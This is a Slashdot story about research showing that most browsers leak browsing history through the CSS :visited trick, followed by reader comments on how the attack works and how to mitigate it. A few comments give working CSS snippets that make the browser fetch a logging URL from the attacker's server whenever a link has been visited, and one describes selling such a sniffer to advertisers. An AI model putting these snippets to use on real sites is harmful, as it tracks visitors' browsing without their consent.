Please create an account to participate in the Slashdot moderation system

 



Forgot your password?
typodupeerror
×
Firefox Privacy Security Your Rights Online

76% of Web Users Affected By Browser History Stealing 130

An anonymous reader writes "Web browser history detection with the CSS:visited trick has been known for the last ten years, but recently published research suggests that the problem is bigger than previously thought. A study of 243,068 users found that 76% of them were vulnerable to history detection by malicious websites. Newer browsers such as Safari and Chrome were even more affected, with 82% and 94% of users vulnerable. An average of 63 visited locations were detected per user, and for the top 10% of users the tests found over 150 visited sites. The website has a summary of the findings; the full paper (PDF) is available as well."
This discussion has been archived. No new comments can be posted.

76% of Web Users Affected By Browser History Stealing

Comments Filter:
  • by chebucto ( 992517 ) on Wednesday May 19, 2010 @11:05AM (#32265368) Homepage

    TFA describes a honey-pot based study. It doesn't describe a real-world study of people whose browser histories were actually stolen by actual malicious websites.

  • by Anonymous Coward on Wednesday May 19, 2010 @11:13AM (#32265472)

    According to http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ a future version of Firefox will address the :visited privacy issue.

    One could also set layout.css.visited_links_enabled=false via about:config to disable :visited completely (at least until the issue is fixed in a future Firefox release).

  • by Anonymous Coward on Wednesday May 19, 2010 @11:25AM (#32265618)

    No need for cookies, you just use javascript and CSS.

    I actually implemented a history sniffer for an online advertising company a few years ago; we were using it as an additional selling point for potential advertisers, as in "We can tell you what percentage of your visitors have visited your rivals' landing pages".

    Worth remembering you can only test against a list of exact urls that you're interested in, you can't just go browsing through a visitor's history. In other words, if I wanted to know how many pages you'd read on Slashdot, I'd need to test against every single possible URL.

    Realistically that's pretty useless - I'd try to sell Ars Technica a solution that told them how many of their visitors have been to http://slashdot.org/ [slashdot.org]. The obvious issue here is that neither I nor Ars Technica would need to get permission for this from either Slashdot or you; at the very least my product would need to give you an option to opt out.

  • old news (Score:1, Informative)

    by karlzt ( 1410199 ) on Wednesday May 19, 2010 @11:44AM (#32265852)

    this was on LWN a long time ago: http://lwn.net/Articles/350390/ [lwn.net]

  • by TheCycoONE ( 913189 ) on Wednesday May 19, 2010 @11:57AM (#32266042)

    http://blogs.msdn.com/ieinternals/archive/2009/06/17/CSSHistoryProbing.aspx [msdn.com] is an article on the subject.

    Essentially the vulnerability is a feature of the spec. Even without JavaScript or cookies, the CSS specification allows a web developer to specify that a particular icon/cursor/background-image should be shown for visited links. The exposure is that the client only downloads resources when they are needed to preserve bandwidth, and the server knows what has been requested from it, so I could put in then put somewhere in my css #google:visted { background: url("userwenttogoogle.png"); } [google.com]

    The problem is the only way to protect against the vulnerability is to remove features which are part of the spec (potentially breaking legitimate and standard compliant web pages), to download all resources (wasting lots of bandwidth), or putting the user in control (probably more annoying than useful as most users won't understand the dialog)

  • by psbrogna ( 611644 ) on Wednesday May 19, 2010 @12:33PM (#32266566)
    I don't think you're correct in your list of options for protecting against the vulnerability. As a general principal, client side code from an untrusted source (ie. the web) should only have access to client side content which originated from the same source. In the case we're talking about, the content has been modified by the client based on private client state (ie. visited links), at this stage, the content should no longer be accessible to the code. If the rendering pipeline were more compartmentalized (ie. think XSLT translation steps), then code in one department wouldn't have access to content that has been modified based on private client state.

    In this manner, the client environment could modify the content at will (ie. changing style for links to web sites you've been to, blocking ads, stripping flash, turning off client side code functionality entirely, etc.) without fear of what's being harvested or inferred. I don't know what a client's browser does to a dom to make it consumable by the deaf or blind, but if that's something that can be detected by untrusted code then I believe it's another example of violating a user's privacy.
  • by tuomasb ( 981596 ) on Wednesday May 19, 2010 @12:49PM (#32266798)
    Here is a demonstration of the hack using only CSS: http://ha.ckers.org/weird/CSS-history.cgi [ckers.org] You can also use: background: url"(logger.php?site=pornsite.com"); No need for the background to be a real image. This even works if you're using Noscript with Firefox.
  • by Anonymous Coward on Wednesday May 19, 2010 @01:46PM (#32267490)

    I have a question - why the ****** does a website need to have/see/retreive the list of URLs I've been at in order to do this - coloring links is a browser side feature! The only thing a website needs to do is suggest which colors to use for said links.

    But you can do more than just colour the links. You could do things like, for example, display a different link image depending on whether or not the link has been visited. In that case, it is still the browser that is making the decision which image to display, but then it has to retrieve the appropriate image from the server. Now, the server sees which image is being retrieved, and therefore knows the visited status of the link.

  • by Anonymous Coward on Wednesday May 19, 2010 @01:55PM (#32267616)

    I tried...I tried really hard and almost soiled myself with the effort, but I just can't care about my browser history being "stolen".

    that's like calling my garbage being stolen every week when the big truck comes and takes it away.

    Hell, the more time people spend stealing browser histories is time they're not spending doing something I do care about, so keep at it!

    Not only that, it's not actually being "stolen". It's more like it's vulnerable to a game of "Fish". Sites can basically "query" your history looking for particular URLs, and the history will simply say "yes" or "no" to indicate whether a specifically requested URL is in the history.

    So, yes, feel free to not give two shits, just like I do.

  • by boxwood ( 1742976 ) on Wednesday May 19, 2010 @02:03PM (#32267730)

    the website doesn't get a list of websites.

    what happens is the server sets the visited link to show an image, while the unvisited link doesn't. The browser sees that an image is supposed to be displayed for the visited site, checks its history, sees that you have indeed visted that site and then downloads that image to display on the link. The server sees that you downloaded visited-slashdot.png... so it knows you have visited slashdot.

    Of course visited-slashdot.png doesn't even need to exist, it just needs to see the request for that file from your browser to know you've been there.

    Really CSS just shouldn't allow different images for visited and unvisited links... nobody uses this feature.

  • Re:Chrome 5 (Score:2, Informative)

    by xOneca ( 1271886 ) on Wednesday May 19, 2010 @06:56PM (#32271366) Homepage
    Actually, the CSS code for detecting :visited links is

    a#l15920:visited {background:url(/l?i=15920)}

    with compaining HTML:

    <a href="http://chickipedia.com" id="l15920">.</a>

    That is, it loads a specific URL when a particular web page has been visited. So the detection is made by the browser, but the data is collected by the server as a purposedly side effect.

Today is a good day for information-gathering. Read someone else's mail file.

Working...